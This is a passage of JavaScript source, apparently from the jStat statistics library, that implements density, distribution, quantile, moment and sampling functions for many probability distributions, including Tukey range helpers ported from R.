pdf: function pdf(x, mu, sigma) { 2126 | if (x <= 0) 2127 | return 0; 2128 | return Math.exp(-Math.log(x) - 0.5 * Math.log(2 * Math.PI) - 2129 | Math.log(sigma) - Math.pow(Math.log(x) - mu, 2) / 2130 | (2 * sigma * sigma)); 2131 | }, 2132 | 2133 | cdf: function cdf(x, mu, sigma) { 2134 | if (x < 0) 2135 | return 0; 2136 | return 0.5 + 2137 | (0.5 * jStat.erf((Math.log(x) - mu) / Math.sqrt(2 * sigma * sigma))); 2138 | }, 2139 | 2140 | inv: function(p, mu, sigma) { 2141 | return Math.exp(-1.41421356237309505 * sigma * jStat.erfcinv(2 * p) + mu); 2142 | }, 2143 | 2144 | mean: function mean(mu, sigma) { 2145 | return Math.exp(mu + sigma * sigma / 2); 2146 | }, 2147 | 2148 | median: function median(mu, sigma) { 2149 | return Math.exp(mu); 2150 | }, 2151 | 2152 | mode: function mode(mu, sigma) { 2153 | return Math.exp(mu - sigma * sigma); 2154 | }, 2155 | 2156 | sample: function sample(mu, sigma) { 2157 | return Math.exp(jStat.randn() * sigma + mu); 2158 | }, 2159 | 2160 | variance: function variance(mu, sigma) { 2161 | return (Math.exp(sigma * sigma) - 1) * Math.exp(2 * mu + sigma * sigma); 2162 | } 2163 | }); 2164 | 2165 | 2166 | 2167 | // extend noncentralt function with static methods 2168 | jStat.extend(jStat.noncentralt, { 2169 | pdf: function pdf(x, dof, ncp) { 2170 | var tol = 1e-14; 2171 | if (Math.abs(ncp) < tol) // ncp approx 0; use student-t 2172 | return jStat.studentt.pdf(x, dof) 2173 | 2174 | if (Math.abs(x) < tol) { // different formula for x == 0 2175 | return Math.exp(jStat.gammaln((dof + 1) / 2) - ncp * ncp / 2 - 2176 | 0.5 * Math.log(Math.PI * dof) - jStat.gammaln(dof / 2)); 2177 | } 2178 | 2179 | // formula for x != 0 2180 | return dof / x * 2181 | (jStat.noncentralt.cdf(x * Math.sqrt(1 + 2 / dof), dof+2, ncp) - 2182 | jStat.noncentralt.cdf(x, dof, ncp)); 2183 | }, 2184 | 2185 | cdf: function cdf(x, dof, ncp) { 2186 | var tol = 1e-14; 2187 | var min_iterations = 200; 2188 | 2189 | if (Math.abs(ncp) < tol) // ncp approx 0; use student-t 2190 | return jStat.studentt.cdf(x, dof); 2191 | 2192 | // turn negative x into positive and flip result afterwards 2193 | var flip = false; 2194 | if (x < 0) { 2195 | flip = true; 2196 | ncp = -ncp; 2197 | } 2198 | 2199 | var prob = jStat.normal.cdf(-ncp, 0, 1); 2200 | var value = tol + 1; 2201 | // use value at last two steps to determine convergence 2202 | var lastvalue = value; 2203 | var y = x * x / (x * x + dof); 2204 | var j = 0; 2205 | var p = Math.exp(-ncp * ncp / 2); 2206 | var q = Math.exp(-ncp * ncp / 2 - 0.5 * Math.log(2) - 2207 | jStat.gammaln(3 / 2)) * ncp; 2208 | while (j < min_iterations || lastvalue > tol || value > tol) { 2209 | lastvalue = value; 2210 | if (j > 0) { 2211 | p *= (ncp * ncp) / (2 * j); 2212 | q *= (ncp * ncp) / (2 * (j + 1 / 2)); 2213 | } 2214 | value = p * jStat.beta.cdf(y, j + 0.5, dof / 2) + 2215 | q * jStat.beta.cdf(y, j+1, dof/2); 2216 | prob += 0.5 * value; 2217 | j++; 2218 | } 2219 | 2220 | return flip ? (1 - prob) : prob; 2221 | } 2222 | }); 2223 | 2224 | 2225 | // extend normal function with static methods 2226 | jStat.extend(jStat.normal, { 2227 | pdf: function pdf(x, mean, std) { 2228 | return Math.exp(-0.5 * Math.log(2 * Math.PI) - 2229 | Math.log(std) - Math.pow(x - mean, 2) / (2 * std * std)); 2230 | }, 2231 | 2232 | cdf: function cdf(x, mean, std) { 2233 | return 0.5 * (1 + jStat.erf((x - mean) / Math.sqrt(2 * std * std))); 2234 | }, 2235 | 2236 | inv: function(p, mean, std) { 2237 | return -1.41421356237309505 * std * jStat.erfcinv(2 * p) + mean; 2238 | }, 2239 | 2240 | mean : function(mean, std) { 2241 | return mean; 2242 | }, 2243 | 2244 | median: function median(mean, std) { 2245 | return mean; 2246 | }, 2247 | 2248 | mode: function (mean, std) { 2249 | return mean; 2250 | }, 2251 | 2252 | sample: function sample(mean, std) { 2253 | return jStat.randn() * std + mean; 2254 | }, 2255 | 2256 | variance : function(mean, std) { 2257 | return std * std; 2258 | } 2259 | }); 2260 | 2261 | 2262 | 2263 | // extend pareto function with static methods 2264 | jStat.extend(jStat.pareto, { 2265 | pdf: function pdf(x, scale, shape) { 2266 | if (x < scale) 2267 | return 0; 2268 | return (shape * Math.pow(scale, shape)) / Math.pow(x, shape + 1); 2269 | }, 2270 | 2271 | cdf: function cdf(x, scale, shape) { 2272 | if (x < scale) 2273 | return 0; 2274 | return 1 - Math.pow(scale / x, shape); 2275 | }, 2276 | 2277 | inv: function inv(p, scale, shape) { 2278 | return scale / Math.pow(1 - p, 1 / shape); 2279 | }, 2280 | 2281 | mean: function mean(scale, shape) { 2282 | if (shape <= 1) 2283 | return undefined; 2284 | return (shape * Math.pow(scale, shape)) / (shape - 1); 2285 | }, 2286 | 2287 | median: function median(scale, shape) { 2288 | return scale * (shape * Math.SQRT2); 2289 | }, 2290 | 2291 | mode: function mode(scale, shape) { 2292 | return scale; 2293 | }, 2294 | 2295 | variance : function(scale, shape) { 2296 | if (shape <= 2) 2297 | return undefined; 2298 | return (scale*scale * shape) / (Math.pow(shape - 1, 2) * (shape - 2)); 2299 | } 2300 | }); 2301 | 2302 | 2303 | 2304 | // extend studentt function with static methods 2305 | jStat.extend(jStat.studentt, { 2306 | pdf: function pdf(x, dof) { 2307 | dof = dof > 1e100 ? 1e100 : dof; 2308 | return (1/(Math.sqrt(dof) * jStat.betafn(0.5, dof/2))) * 2309 | Math.pow(1 + ((x * x) / dof), -((dof + 1) / 2)); 2310 | }, 2311 | 2312 | cdf: function cdf(x, dof) { 2313 | var dof2 = dof / 2; 2314 | return jStat.ibeta((x + Math.sqrt(x * x + dof)) / 2315 | (2 * Math.sqrt(x * x + dof)), dof2, dof2); 2316 | }, 2317 | 2318 | inv: function(p, dof) { 2319 | var x = jStat.ibetainv(2 * Math.min(p, 1 - p), 0.5 * dof, 0.5); 2320 | x = Math.sqrt(dof * (1 - x) / x); 2321 | return (p > 0.5) ? x : -x; 2322 | }, 2323 | 2324 | mean: function mean(dof) { 2325 | return (dof > 1) ? 0 : undefined; 2326 | }, 2327 | 2328 | median: function median(dof) { 2329 | return 0; 2330 | }, 2331 | 2332 | mode: function mode(dof) { 2333 | return 0; 2334 | }, 2335 | 2336 | sample: function sample(dof) { 2337 | return jStat.randn() * Math.sqrt(dof / (2 * jStat.randg(dof / 2))); 2338 | }, 2339 | 2340 | variance: function variance(dof) { 2341 | return (dof > 2) ? dof / (dof - 2) : (dof > 1) ? Infinity : undefined; 2342 | } 2343 | }); 2344 | 2345 | 2346 | 2347 | // extend weibull function with static methods 2348 | jStat.extend(jStat.weibull, { 2349 | pdf: function pdf(x, scale, shape) { 2350 | if (x < 0 || scale < 0 || shape < 0) 2351 | return 0; 2352 | return (shape / scale) * Math.pow((x / scale), (shape - 1)) * 2353 | Math.exp(-(Math.pow((x / scale), shape))); 2354 | }, 2355 | 2356 | cdf: function cdf(x, scale, shape) { 2357 | return x < 0 ? 0 : 1 - Math.exp(-Math.pow((x / scale), shape)); 2358 | }, 2359 | 2360 | inv: function(p, scale, shape) { 2361 | return scale * Math.pow(-Math.log(1 - p), 1 / shape); 2362 | }, 2363 | 2364 | mean : function(scale, shape) { 2365 | return scale * jStat.gammafn(1 + 1 / shape); 2366 | }, 2367 | 2368 | median: function median(scale, shape) { 2369 | return scale * Math.pow(Math.log(2), 1 / shape); 2370 | }, 2371 | 2372 | mode: function mode(scale, shape) { 2373 | if (shape <= 1) 2374 | return 0; 2375 | return scale * Math.pow((shape - 1) / shape, 1 / shape); 2376 | }, 2377 | 2378 | sample: function sample(scale, shape) { 2379 | return scale * Math.pow(-Math.log(Math.random()), 1 / shape); 2380 | }, 2381 | 2382 | variance: function variance(scale, shape) { 2383 | return scale * scale * jStat.gammafn(1 + 2 / shape) - 2384 | Math.pow(jStat.weibull.mean(scale, shape), 2); 2385 | } 2386 | }); 2387 | 2388 | 2389 | 2390 | // extend uniform function with static methods 2391 | jStat.extend(jStat.uniform, { 2392 | pdf: function pdf(x, a, b) { 2393 | return (x < a || x > b) ? 0 : 1 / (b - a); 2394 | }, 2395 | 2396 | cdf: function cdf(x, a, b) { 2397 | if (x < a) 2398 | return 0; 2399 | else if (x < b) 2400 | return (x - a) / (b - a); 2401 | return 1; 2402 | }, 2403 | 2404 | inv: function(p, a, b) { 2405 | return a + (p * (b - a)); 2406 | }, 2407 | 2408 | mean: function mean(a, b) { 2409 | return 0.5 * (a + b); 2410 | }, 2411 | 2412 | median: function median(a, b) { 2413 | return jStat.mean(a, b); 2414 | }, 2415 | 2416 | mode: function mode(a, b) { 2417 | throw new Error('mode is not yet implemented'); 2418 | }, 2419 | 2420 | sample: function sample(a, b) { 2421 | return (a / 2 + b / 2) + (b / 2 - a / 2) * (2 * Math.random() - 1); 2422 | }, 2423 | 2424 | variance: function variance(a, b) { 2425 | return Math.pow(b - a, 2) / 12; 2426 | } 2427 | }); 2428 | 2429 | 2430 | 2431 | // extend uniform function with static methods 2432 | jStat.extend(jStat.binomial, { 2433 | pdf: function pdf(k, n, p) { 2434 | return (p === 0 || p === 1) ? 2435 | ((n * p) === k ? 1 : 0) : 2436 | jStat.combination(n, k) * Math.pow(p, k) * Math.pow(1 - p, n - k); 2437 | }, 2438 | 2439 | cdf: function cdf(x, n, p) { 2440 | var binomarr = [], 2441 | k = 0; 2442 | if (x < 0) { 2443 | return 0; 2444 | } 2445 | if (x < n) { 2446 | for (; k <= x; k++) { 2447 | binomarr[ k ] = jStat.binomial.pdf(k, n, p); 2448 | } 2449 | return jStat.sum(binomarr); 2450 | } 2451 | return 1; 2452 | } 2453 | }); 2454 | 2455 | 2456 | 2457 | // extend uniform function with static methods 2458 | jStat.extend(jStat.negbin, { 2459 | pdf: function pdf(k, r, p) { 2460 | if (k !== k >>> 0) 2461 | return false; 2462 | if (k < 0) 2463 | return 0; 2464 | return jStat.combination(k + r - 1, r - 1) * 2465 | Math.pow(1 - p, k) * Math.pow(p, r); 2466 | }, 2467 | 2468 | cdf: function cdf(x, r, p) { 2469 | var sum = 0, 2470 | k = 0; 2471 | if (x < 0) return 0; 2472 | for (; k <= x; k++) { 2473 | sum += jStat.negbin.pdf(k, r, p); 2474 | } 2475 | return sum; 2476 | } 2477 | }); 2478 | 2479 | 2480 | 2481 | // extend uniform function with static methods 2482 | jStat.extend(jStat.hypgeom, { 2483 | pdf: function pdf(k, N, m, n) { 2484 | // Hypergeometric PDF. 2485 | 2486 | // A simplification of the CDF algorithm below. 2487 | 2488 | // k = number of successes drawn 2489 | // N = population size 2490 | // m = number of successes in population 2491 | // n = number of items drawn from population 2492 | 2493 | if(k !== k | 0) { 2494 | return false; 2495 | } else if(k < 0 || k < m - (N - n)) { 2496 | // It's impossible to have this few successes drawn. 2497 | return 0; 2498 | } else if(k > n || k > m) { 2499 | // It's impossible to have this many successes drawn. 2500 | return 0; 2501 | } else if (m * 2 > N) { 2502 | // More than half the population is successes. 2503 | 2504 | if(n * 2 > N) { 2505 | // More than half the population is sampled. 2506 | 2507 | return jStat.hypgeom.pdf(N - m - n + k, N, N - m, N - n) 2508 | } else { 2509 | // Half or less of the population is sampled. 2510 | 2511 | return jStat.hypgeom.pdf(n - k, N, N - m, n); 2512 | } 2513 | 2514 | } else if(n * 2 > N) { 2515 | // Half or less is successes. 2516 | 2517 | return jStat.hypgeom.pdf(m - k, N, m, N - n); 2518 | 2519 | } else if(m < n) { 2520 | // We want to have the number of things sampled to be less than the 2521 | // successes available. So swap the definitions of successful and sampled. 2522 | return jStat.hypgeom.pdf(k, N, n, m); 2523 | } else { 2524 | // If we get here, half or less of the population was sampled, half or 2525 | // less of it was successes, and we had fewer sampled things than 2526 | // successes. Now we can do this complicated iterative algorithm in an 2527 | // efficient way. 2528 | 2529 | // The basic premise of the algorithm is that we partially normalize our 2530 | // intermediate product to keep it in a numerically good region, and then 2531 | // finish the normalization at the end. 2532 | 2533 | // This variable holds the scaled probability of the current number of 2534 | // successes. 2535 | var scaledPDF = 1; 2536 | 2537 | // This keeps track of how much we have normalized. 2538 | var samplesDone = 0; 2539 | 2540 | for(var i = 0; i < k; i++) { 2541 | // For every possible number of successes up to that observed... 2542 | 2543 | while(scaledPDF > 1 && samplesDone < n) { 2544 | // Intermediate result is growing too big. Apply some of the 2545 | // normalization to shrink everything. 2546 | 2547 | scaledPDF *= 1 - (m / (N - samplesDone)); 2548 | 2549 | // Say we've normalized by this sample already. 2550 | samplesDone++; 2551 | } 2552 | 2553 | // Work out the partially-normalized hypergeometric PDF for the next 2554 | // number of successes 2555 | scaledPDF *= (n - i) * (m - i) / ((i + 1) * (N - m - n + i + 1)); 2556 | } 2557 | 2558 | for(; samplesDone < n; samplesDone++) { 2559 | // Apply all the rest of the normalization 2560 | scaledPDF *= 1 - (m / (N - samplesDone)); 2561 | } 2562 | 2563 | // Bound answer sanely before returning. 2564 | return Math.min(1, Math.max(0, scaledPDF)); 2565 | } 2566 | }, 2567 | 2568 | cdf: function cdf(x, N, m, n) { 2569 | // Hypergeometric CDF. 2570 | 2571 | // This algorithm is due to Prof. Thomas S. Ferguson, , 2572 | // and comes from his hypergeometric test calculator at 2573 | // . 2574 | 2575 | // x = number of successes drawn 2576 | // N = population size 2577 | // m = number of successes in population 2578 | // n = number of items drawn from population 2579 | 2580 | if(x < 0 || x < m - (N - n)) { 2581 | // It's impossible to have this few successes drawn or fewer. 2582 | return 0; 2583 | } else if(x >= n || x >= m) { 2584 | // We will always have this many successes or fewer. 2585 | return 1; 2586 | } else if (m * 2 > N) { 2587 | // More than half the population is successes. 2588 | 2589 | if(n * 2 > N) { 2590 | // More than half the population is sampled. 2591 | 2592 | return jStat.hypgeom.cdf(N - m - n + x, N, N - m, N - n) 2593 | } else { 2594 | // Half or less of the population is sampled. 2595 | 2596 | return 1 - jStat.hypgeom.cdf(n - x - 1, N, N - m, n); 2597 | } 2598 | 2599 | } else if(n * 2 > N) { 2600 | // Half or less is successes. 2601 | 2602 | return 1 - jStat.hypgeom.cdf(m - x - 1, N, m, N - n); 2603 | 2604 | } else if(m < n) { 2605 | // We want to have the number of things sampled to be less than the 2606 | // successes available. So swap the definitions of successful and sampled. 2607 | return jStat.hypgeom.cdf(x, N, n, m); 2608 | } else { 2609 | // If we get here, half or less of the population was sampled, half or 2610 | // less of it was successes, and we had fewer sampled things than 2611 | // successes. Now we can do this complicated iterative algorithm in an 2612 | // efficient way. 2613 | 2614 | // The basic premise of the algorithm is that we partially normalize our 2615 | // intermediate sum to keep it in a numerically good region, and then 2616 | // finish the normalization at the end. 2617 | 2618 | // Holds the intermediate, scaled total CDF. 2619 | var scaledCDF = 1; 2620 | 2621 | // This variable holds the scaled probability of the current number of 2622 | // successes. 2623 | var scaledPDF = 1; 2624 | 2625 | // This keeps track of how much we have normalized. 2626 | var samplesDone = 0; 2627 | 2628 | for(var i = 0; i < x; i++) { 2629 | // For every possible number of successes up to that observed... 2630 | 2631 | while(scaledCDF > 1 && samplesDone < n) { 2632 | // Intermediate result is growing too big. Apply some of the 2633 | // normalization to shrink everything. 2634 | 2635 | var factor = 1 - (m / (N - samplesDone)); 2636 | 2637 | scaledPDF *= factor; 2638 | scaledCDF *= factor; 2639 | 2640 | // Say we've normalized by this sample already. 2641 | samplesDone++; 2642 | } 2643 | 2644 | // Work out the partially-normalized hypergeometric PDF for the next 2645 | // number of successes 2646 | scaledPDF *= (n - i) * (m - i) / ((i + 1) * (N - m - n + i + 1)); 2647 | 2648 | // Add to the CDF answer. 2649 | scaledCDF += scaledPDF; 2650 | } 2651 | 2652 | for(; samplesDone < n; samplesDone++) { 2653 | // Apply all the rest of the normalization 2654 | scaledCDF *= 1 - (m / (N - samplesDone)); 2655 | } 2656 | 2657 | // Bound answer sanely before returning. 2658 | return Math.min(1, Math.max(0, scaledCDF)); 2659 | } 2660 | } 2661 | }); 2662 | 2663 | 2664 | 2665 | // extend uniform function with static methods 2666 | jStat.extend(jStat.poisson, { 2667 | pdf: function pdf(k, l) { 2668 | if (l < 0 || (k % 1) !== 0 || k < 0) { 2669 | return 0; 2670 | } 2671 | 2672 | return Math.pow(l, k) * Math.exp(-l) / jStat.factorial(k); 2673 | }, 2674 | 2675 | cdf: function cdf(x, l) { 2676 | var sumarr = [], 2677 | k = 0; 2678 | if (x < 0) return 0; 2679 | for (; k <= x; k++) { 2680 | sumarr.push(jStat.poisson.pdf(k, l)); 2681 | } 2682 | return jStat.sum(sumarr); 2683 | }, 2684 | 2685 | mean : function(l) { 2686 | return l; 2687 | }, 2688 | 2689 | variance : function(l) { 2690 | return l; 2691 | }, 2692 | 2693 | sample: function sample(l) { 2694 | var p = 1, k = 0, L = Math.exp(-l); 2695 | do { 2696 | k++; 2697 | p *= Math.random(); 2698 | } while (p > L); 2699 | return k - 1; 2700 | } 2701 | }); 2702 | 2703 | // extend triangular function with static methods 2704 | jStat.extend(jStat.triangular, { 2705 | pdf: function pdf(x, a, b, c) { 2706 | if (b <= a || c < a || c > b) { 2707 | return NaN; 2708 | } else { 2709 | if (x < a || x > b) { 2710 | return 0; 2711 | } else if (x < c) { 2712 | return (2 * (x - a)) / ((b - a) * (c - a)); 2713 | } else if (x === c) { 2714 | return (2 / (b - a)); 2715 | } else { // x > c 2716 | return (2 * (b - x)) / ((b - a) * (b - c)); 2717 | } 2718 | } 2719 | }, 2720 | 2721 | cdf: function cdf(x, a, b, c) { 2722 | if (b <= a || c < a || c > b) 2723 | return NaN; 2724 | if (x <= a) 2725 | return 0; 2726 | else if (x >= b) 2727 | return 1; 2728 | if (x <= c) 2729 | return Math.pow(x - a, 2) / ((b - a) * (c - a)); 2730 | else // x > c 2731 | return 1 - Math.pow(b - x, 2) / ((b - a) * (b - c)); 2732 | }, 2733 | 2734 | inv: function inv(p, a, b, c) { 2735 | if (b <= a || c < a || c > b) { 2736 | return NaN; 2737 | } else { 2738 | if (p <= ((c - a) / (b - a))) { 2739 | return a + (b - a) * Math.sqrt(p * ((c - a) / (b - a))); 2740 | } else { // p > ((c - a) / (b - a)) 2741 | return a + (b - a) * (1 - Math.sqrt((1 - p) * (1 - ((c - a) / (b - a))))); 2742 | } 2743 | } 2744 | }, 2745 | 2746 | mean: function mean(a, b, c) { 2747 | return (a + b + c) / 3; 2748 | }, 2749 | 2750 | median: function median(a, b, c) { 2751 | if (c <= (a + b) / 2) { 2752 | return b - Math.sqrt((b - a) * (b - c)) / Math.sqrt(2); 2753 | } else if (c > (a + b) / 2) { 2754 | return a + Math.sqrt((b - a) * (c - a)) / Math.sqrt(2); 2755 | } 2756 | }, 2757 | 2758 | mode: function mode(a, b, c) { 2759 | return c; 2760 | }, 2761 | 2762 | sample: function sample(a, b, c) { 2763 | var u = Math.random(); 2764 | if (u < ((c - a) / (b - a))) 2765 | return a + Math.sqrt(u * (b - a) * (c - a)) 2766 | return b - Math.sqrt((1 - u) * (b - a) * (b - c)); 2767 | }, 2768 | 2769 | variance: function variance(a, b, c) { 2770 | return (a * a + b * b + c * c - a * b - a * c - b * c) / 18; 2771 | } 2772 | }); 2773 | 2774 | 2775 | // extend arcsine function with static methods 2776 | jStat.extend(jStat.arcsine, { 2777 | pdf: function pdf(x, a, b) { 2778 | if (b <= a) return NaN; 2779 | 2780 | return (x <= a || x >= b) ? 0 : 2781 | (2 / Math.PI) * 2782 | Math.pow(Math.pow(b - a, 2) - 2783 | Math.pow(2 * x - a - b, 2), -0.5); 2784 | }, 2785 | 2786 | cdf: function cdf(x, a, b) { 2787 | if (x < a) 2788 | return 0; 2789 | else if (x < b) 2790 | return (2 / Math.PI) * Math.asin(Math.sqrt((x - a)/(b - a))); 2791 | return 1; 2792 | }, 2793 | 2794 | inv: function(p, a, b) { 2795 | return a + (0.5 - 0.5 * Math.cos(Math.PI * p)) * (b - a); 2796 | }, 2797 | 2798 | mean: function mean(a, b) { 2799 | if (b <= a) return NaN; 2800 | return (a + b) / 2; 2801 | }, 2802 | 2803 | median: function median(a, b) { 2804 | if (b <= a) return NaN; 2805 | return (a + b) / 2; 2806 | }, 2807 | 2808 | mode: function mode(a, b) { 2809 | throw new Error('mode is not yet implemented'); 2810 | }, 2811 | 2812 | sample: function sample(a, b) { 2813 | return ((a + b) / 2) + ((b - a) / 2) * 2814 | Math.sin(2 * Math.PI * jStat.uniform.sample(0, 1)); 2815 | }, 2816 | 2817 | variance: function variance(a, b) { 2818 | if (b <= a) return NaN; 2819 | return Math.pow(b - a, 2) / 8; 2820 | } 2821 | }); 2822 | 2823 | 2824 | function laplaceSign(x) { return x / Math.abs(x); } 2825 | 2826 | jStat.extend(jStat.laplace, { 2827 | pdf: function pdf(x, mu, b) { 2828 | return (b <= 0) ? 0 : (Math.exp(-Math.abs(x - mu) / b)) / (2 * b); 2829 | }, 2830 | 2831 | cdf: function cdf(x, mu, b) { 2832 | if (b <= 0) { return 0; } 2833 | 2834 | if(x < mu) { 2835 | return 0.5 * Math.exp((x - mu) / b); 2836 | } else { 2837 | return 1 - 0.5 * Math.exp(- (x - mu) / b); 2838 | } 2839 | }, 2840 | 2841 | mean: function(mu, b) { 2842 | return mu; 2843 | }, 2844 | 2845 | median: function(mu, b) { 2846 | return mu; 2847 | }, 2848 | 2849 | mode: function(mu, b) { 2850 | return mu; 2851 | }, 2852 | 2853 | variance: function(mu, b) { 2854 | return 2 * b * b; 2855 | }, 2856 | 2857 | sample: function sample(mu, b) { 2858 | var u = Math.random() - 0.5; 2859 | 2860 | return mu - (b * laplaceSign(u) * Math.log(1 - (2 * Math.abs(u)))); 2861 | } 2862 | }); 2863 | 2864 | function tukeyWprob(w, rr, cc) { 2865 | var nleg = 12; 2866 | var ihalf = 6; 2867 | 2868 | var C1 = -30; 2869 | var C2 = -50; 2870 | var C3 = 60; 2871 | var bb = 8; 2872 | var wlar = 3; 2873 | var wincr1 = 2; 2874 | var wincr2 = 3; 2875 | var xleg = [ 2876 | 0.981560634246719250690549090149, 2877 | 0.904117256370474856678465866119, 2878 | 0.769902674194304687036893833213, 2879 | 0.587317954286617447296702418941, 2880 | 0.367831498998180193752691536644, 2881 | 0.125233408511468915472441369464 2882 | ]; 2883 | var aleg = [ 2884 | 0.047175336386511827194615961485, 2885 | 0.106939325995318430960254718194, 2886 | 0.160078328543346226334652529543, 2887 | 0.203167426723065921749064455810, 2888 | 0.233492536538354808760849898925, 2889 | 0.249147045813402785000562436043 2890 | ]; 2891 | 2892 | var qsqz = w * 0.5; 2893 | 2894 | // if w >= 16 then the integral lower bound (occurs for c=20) 2895 | // is 0.99999999999995 so return a value of 1. 2896 | 2897 | if (qsqz >= bb) 2898 | return 1.0; 2899 | 2900 | // find (f(w/2) - 1) ^ cc 2901 | // (first term in integral of hartley's form). 2902 | 2903 | var pr_w = 2 * jStat.normal.cdf(qsqz, 0, 1, 1, 0) - 1; // erf(qsqz / M_SQRT2) 2904 | // if pr_w ^ cc < 2e-22 then set pr_w = 0 2905 | if (pr_w >= Math.exp(C2 / cc)) 2906 | pr_w = Math.pow(pr_w, cc); 2907 | else 2908 | pr_w = 0.0; 2909 | 2910 | // if w is large then the second component of the 2911 | // integral is small, so fewer intervals are needed. 2912 | 2913 | var wincr; 2914 | if (w > wlar) 2915 | wincr = wincr1; 2916 | else 2917 | wincr = wincr2; 2918 | 2919 | // find the integral of second term of hartley's form 2920 | // for the integral of the range for equal-length 2921 | // intervals using legendre quadrature. limits of 2922 | // integration are from (w/2, 8). two or three 2923 | // equal-length intervals are used. 2924 | 2925 | // blb and bub are lower and upper limits of integration. 2926 | 2927 | var blb = qsqz; 2928 | var binc = (bb - qsqz) / wincr; 2929 | var bub = blb + binc; 2930 | var einsum = 0.0; 2931 | 2932 | // integrate over each interval 2933 | 2934 | var cc1 = cc - 1.0; 2935 | for (var wi = 1; wi <= wincr; wi++) { 2936 | var elsum = 0.0; 2937 | var a = 0.5 * (bub + blb); 2938 | 2939 | // legendre quadrature with order = nleg 2940 | 2941 | var b = 0.5 * (bub - blb); 2942 | 2943 | for (var jj = 1; jj <= nleg; jj++) { 2944 | var j, xx; 2945 | if (ihalf < jj) { 2946 | j = (nleg - jj) + 1; 2947 | xx = xleg[j-1]; 2948 | } else { 2949 | j = jj; 2950 | xx = -xleg[j-1]; 2951 | } 2952 | var c = b * xx; 2953 | var ac = a + c; 2954 | 2955 | // if exp(-qexpo/2) < 9e-14, 2956 | // then doesn't contribute to integral 2957 | 2958 | var qexpo = ac * ac; 2959 | if (qexpo > C3) 2960 | break; 2961 | 2962 | var pplus = 2 * jStat.normal.cdf(ac, 0, 1, 1, 0); 2963 | var pminus= 2 * jStat.normal.cdf(ac, w, 1, 1, 0); 2964 | 2965 | // if rinsum ^ (cc-1) < 9e-14, 2966 | // then doesn't contribute to integral 2967 | 2968 | var rinsum = (pplus * 0.5) - (pminus * 0.5); 2969 | if (rinsum >= Math.exp(C1 / cc1)) { 2970 | rinsum = (aleg[j-1] * Math.exp(-(0.5 * qexpo))) * Math.pow(rinsum, cc1); 2971 | elsum += rinsum; 2972 | } 2973 | } 2974 | elsum *= (((2.0 * b) * cc) / Math.sqrt(2 * Math.PI)); 2975 | einsum += elsum; 2976 | blb = bub; 2977 | bub += binc; 2978 | } 2979 | 2980 | // if pr_w ^ rr < 9e-14, then return 0 2981 | pr_w += einsum; 2982 | if (pr_w <= Math.exp(C1 / rr)) 2983 | return 0; 2984 | 2985 | pr_w = Math.pow(pr_w, rr); 2986 | if (pr_w >= 1) // 1 was iMax was eps 2987 | return 1; 2988 | return pr_w; 2989 | } 2990 | 2991 | function tukeyQinv(p, c, v) { 2992 | var p0 = 0.322232421088; 2993 | var q0 = 0.993484626060e-01; 2994 | var p1 = -1.0; 2995 | var q1 = 0.588581570495; 2996 | var p2 = -0.342242088547; 2997 | var q2 = 0.531103462366; 2998 | var p3 = -0.204231210125; 2999 | var q3 = 0.103537752850; 3000 | var p4 = -0.453642210148e-04; 3001 | var q4 = 0.38560700634e-02; 3002 | var c1 = 0.8832; 3003 | var c2 = 0.2368; 3004 | var c3 = 1.214; 3005 | var c4 = 1.208; 3006 | var c5 = 1.4142; 3007 | var vmax = 120.0; 3008 | 3009 | var ps = 0.5 - 0.5 * p; 3010 | var yi = Math.sqrt(Math.log(1.0 / (ps * ps))); 3011 | var t = yi + (((( yi * p4 + p3) * yi + p2) * yi + p1) * yi + p0) 3012 | / (((( yi * q4 + q3) * yi + q2) * yi + q1) * yi + q0); 3013 | if (v < vmax) t += (t * t * t + t) / v / 4.0; 3014 | var q = c1 - c2 * t; 3015 | if (v < vmax) q += -c3 / v + c4 * t / v; 3016 | return t * (q * Math.log(c - 1.0) + c5); 3017 | } 3018 | 3019 | jStat.extend(jStat.tukey, { 3020 | cdf: function cdf(q, nmeans, df) { 3021 | // Identical implementation as the R ptukey() function as of commit 68947 3022 | var rr = 1; 3023 | var cc = nmeans; 3024 | 3025 | var nlegq = 16; 3026 | var ihalfq = 8; 3027 | 3028 | var eps1 = -30.0; 3029 | var eps2 = 1.0e-14; 3030 | var dhaf = 100.0; 3031 | var dquar = 800.0; 3032 | var deigh = 5000.0; 3033 | var dlarg = 25000.0; 3034 | var ulen1 = 1.0; 3035 | var ulen2 = 0.5; 3036 | var ulen3 = 0.25; 3037 | var ulen4 = 0.125; 3038 | var xlegq = [ 3039 | 0.989400934991649932596154173450, 3040 | 0.944575023073232576077988415535, 3041 | 0.865631202387831743880467897712, 3042 | 0.755404408355003033895101194847, 3043 | 0.617876244402643748446671764049, 3044 | 0.458016777657227386342419442984, 3045 | 0.281603550779258913230460501460, 3046 | 0.950125098376374401853193354250e-1 3047 | ]; 3048 | var alegq = [ 3049 | 0.271524594117540948517805724560e-1, 3050 | 0.622535239386478928628438369944e-1, 3051 | 0.951585116824927848099251076022e-1, 3052 | 0.124628971255533872052476282192, 3053 | 0.149595988816576732081501730547, 3054 | 0.169156519395002538189312079030, 3055 | 0.182603415044923588866763667969, 3056 | 0.189450610455068496285396723208 3057 | ]; 3058 | 3059 | if (q <= 0) 3060 | return 0; 3061 | 3062 | // df must be > 1 3063 | // there must be at least two values 3064 | 3065 | if (df < 2 || rr < 1 || cc < 2) return NaN; 3066 | 3067 | if (!Number.isFinite(q)) 3068 | return 1; 3069 | 3070 | if (df > dlarg) 3071 | return tukeyWprob(q, rr, cc); 3072 | 3073 | // calculate leading constant 3074 | 3075 | var f2 = df * 0.5; 3076 | var f2lf = ((f2 * Math.log(df)) - (df * Math.log(2))) - jStat.gammaln(f2); 3077 | var f21 = f2 - 1.0; 3078 | 3079 | // integral is divided into unit, half-unit, quarter-unit, or 3080 | // eighth-unit length intervals depending on the value of the 3081 | // degrees of freedom. 3082 | 3083 | var ff4 = df * 0.25; 3084 | var ulen; 3085 | if (df <= dhaf) ulen = ulen1; 3086 | else if (df <= dquar) ulen = ulen2; 3087 | else if (df <= deigh) ulen = ulen3; 3088 | else ulen = ulen4; 3089 | 3090 | f2lf += Math.log(ulen); 3091 | 3092 | // integrate over each subinterval 3093 | 3094 | var ans = 0.0; 3095 | 3096 | for (var i = 1; i <= 50; i++) { 3097 | var otsum = 0.0; 3098 | 3099 | // legendre quadrature with order = nlegq 3100 | // nodes (stored in xlegq) are symmetric around zero. 3101 | 3102 | var twa1 = (2 * i - 1) * ulen; 3103 | 3104 | for (var jj = 1; jj <= nlegq; jj++) { 3105 | var j, t1; 3106 | if (ihalfq < jj) { 3107 | j = jj - ihalfq - 1; 3108 | t1 = (f2lf + (f21 * 